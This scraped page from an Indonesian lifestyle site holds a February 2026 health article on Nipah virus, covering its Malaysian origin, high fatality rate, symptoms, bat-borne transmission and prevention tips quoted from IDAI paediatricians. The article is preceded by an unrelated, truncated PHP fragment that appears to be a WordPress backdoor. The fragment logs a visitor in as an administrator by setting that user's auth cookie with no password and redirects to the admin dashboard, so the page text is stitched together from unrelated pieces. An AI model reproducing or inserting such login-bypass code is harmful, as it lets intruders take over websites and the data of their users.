user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Virus Nipah: Kenali, Cegah, dan Tetap Waspada

2 Feb 2026

Virus Nipah banyak menginfeksi pria dan wanita berusia produktif serta dapat mematikan. Foto ilustrasi: Canva


Siapa yang tahu virus Nipah? Namanya memang belum familiar, tapi virus Nipah merupakan penyakit zoonosis dengan tingkat kematian sangat tinggi, berkisar 40% hingga 75%, jauh melampaui Covid-19.

Sejak pertama kali diidentifikasi pada 1998 di Malaysia, tercatat lebih dari 8.600 kasus global, dengan konsentrasi di lima negara: Malaysia, Singapura, Bangladesh, India, dan Filipina. Indonesia hingga kini belum menemukan kasus pada manusia, namun virus Nipah telah terdeteksi pada kelelawar buah, inang alaminya.
 

Dari Sungai Nipah ke ancaman global

Nama Nipah diambil dari lokasi pertama virus ini ditemukan, yakni Sungai Nipah di Negeri Sembilan, Malaysia. Awalnya, wabah ini disangka sebagai Japanese Encephalitis karena banyak menyerang sistem saraf.

“Karena ini penyakit baru, waktu itu orang belum langsung tahu penyebabnya. Baru kemudian diidentifikasi sebagai virus baru dan dinamai Nipah,” jelas Prof. Dr. Dominicus Husada, dr., DTM&H., MCTM(TP)., Sp.A., Subsp.IPT., CTH., anggota Unit Kerja Koordinasi Infeksi Penyakit Tropik IDAI dan Guru Besar Ilmu Kesehatan Anak Fakultas Kedokteran Universitas Airlangga.

Virus Nipah masih satu keluarga dengan virus Hendra (HeV) yang ditemukan di Australia. Keduanya berasal dari genus yang sama dan sama-sama bersumber dari kelelawar buah (Pteropodidae). Bedanya, Nipah sering melibatkan babi atau hewan lain sebagai perantara, sedangkan Hendra banyak melalui kuda.

Menurut Dominicus, kelelawar kini menjadi fokus pengawasan global. “Kelelawar adalah sumber utama banyak penyakit baru. Termasuk Nipah, SARS-CoV-2, hingga MERS-CoV,” ujarnya. Di Indonesia, penelitian menunjukkan antibodi Nipah ditemukan pada kelelawar di sejumlah provinsi, bahkan virus aktif terdeteksi melalui uji PCR.

Yang membuat Nipah ditakuti bukan hanya fatalitasnya, tetapi juga sifatnya yang kerap tidak terdeteksi di awal. Masa inkubasi berkisar 4-12 hari, diawali gejala ringan seperti demam, sakit kepala, nyeri otot, muntah, atau sakit tenggorokan.

“Gejala awalnya mirip ribuan penyakit lain. Untuk memastikan, perlu pemeriksaan PCR, dan itu tidak tersedia di semua laboratorium,” ungkap Dominicus.

Infeksi dapat berkembang melalui dua jalur berat, yaitu radang otak yang memengaruhi kesadaran dan kejang, atau infeksi paru yang menyebabkan sesak napas berat dan pneumonia.


Waspada tanpa panik, PHBS jadi kunci

Hingga kini, belum ada antivirus maupun vaksin Nipah. Pengobatan bersifat suportif, menyesuaikan gejala yang muncul. Kandidat vaksin paling maju saat ini dikembangkan Oxford Univesity dan masih berada pada fase uji klinis tahap dua.

Ketua Umum Pengurus Pusat IDAI, DR Dr Piprim Basarah Yanuarso, Sp.A, Subsp.Kardio(K), menekankan pentingnya kewaspadaan rasional. “Nipah ini bikin galau karena angka kematiannya bisa mencapai 70 persen. Tapi tidak perlu panik berlebihan. Kuncinya tetap pada perilaku hidup bersih dan sehat.” 
Advertisement

Penularan Nipah terjadi melalui kontak dengan cairan tubuh hewan atau manusia yang terinfeksi, konsumsi buah atau nira yang terkontaminasi kelelawar, serta kontak erat tanpa perlindungan. Risiko pandemi global dinilai rendah karena penularan antarmanusia tidak semudah virus pernapasan seperti Covid-19, namun potensi mutasi tetap menjadi perhatian.


Tip pencegahan virus Nipah

Upaya pencegahan menjadi langkah penting:
- Cuci dan kupas buah sebelum dikonsumsi, buang buah dengan bekas gigitan kelelawar
- Hindari konsumsi nira atau buah mentah yang terbuka di alam
- Masak daging hingga matang sempurna
- Gunakan alat pelindung diri saat kontak dengan hewan ternak
- Terapkan PHBS (cuci tangan pakai sabun), etika batuk, dan kebersihan lingkungan
- Laporkan kematian mendadak pada hewan ternak atau liar
- Tenaga kesehatan dan keluarga pasien wajib menjalankan pengendalian infeksi.

“Nipah memang belum ada di manusia di Indonesia, tapi virusnya sudah ada di alam. Artinya, kewaspadaan harus dimulai dari sekarang,” Dominicus menegaskan.

Kewaspadaan terhadap penyakit zoonosis ini perlu dibangun melalui pemahaman yang benar dan perilaku pencegahan yang konsisten. Masyarakat diharapkan menerapkan perilaku hidup bersih dan sehat, memperhatikan keamanan pangan, serta segera melaporkan temuan kematian hewan yang tidak wajar kepada otoritas setempat.

Dengan partisipasi bersama antara keluarga, tenaga kesehatan, dan pemangku kebijakan, upaya pencegahan dapat dilakukan lebih dini dan berkelanjutan. (f)

Baca juga:
Ketika Skrining DNA HPV Makin Mudah Dijangkau Perempuan
5 Fakta Perawatan Kulit yang Wajib Kamu Ingat
3 Makanan Kaya Nutrisi untuk Sehari-hari

 

Laili Damayanti


Topic

#WaspadaPenyakit, #KesehatanGlobal

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?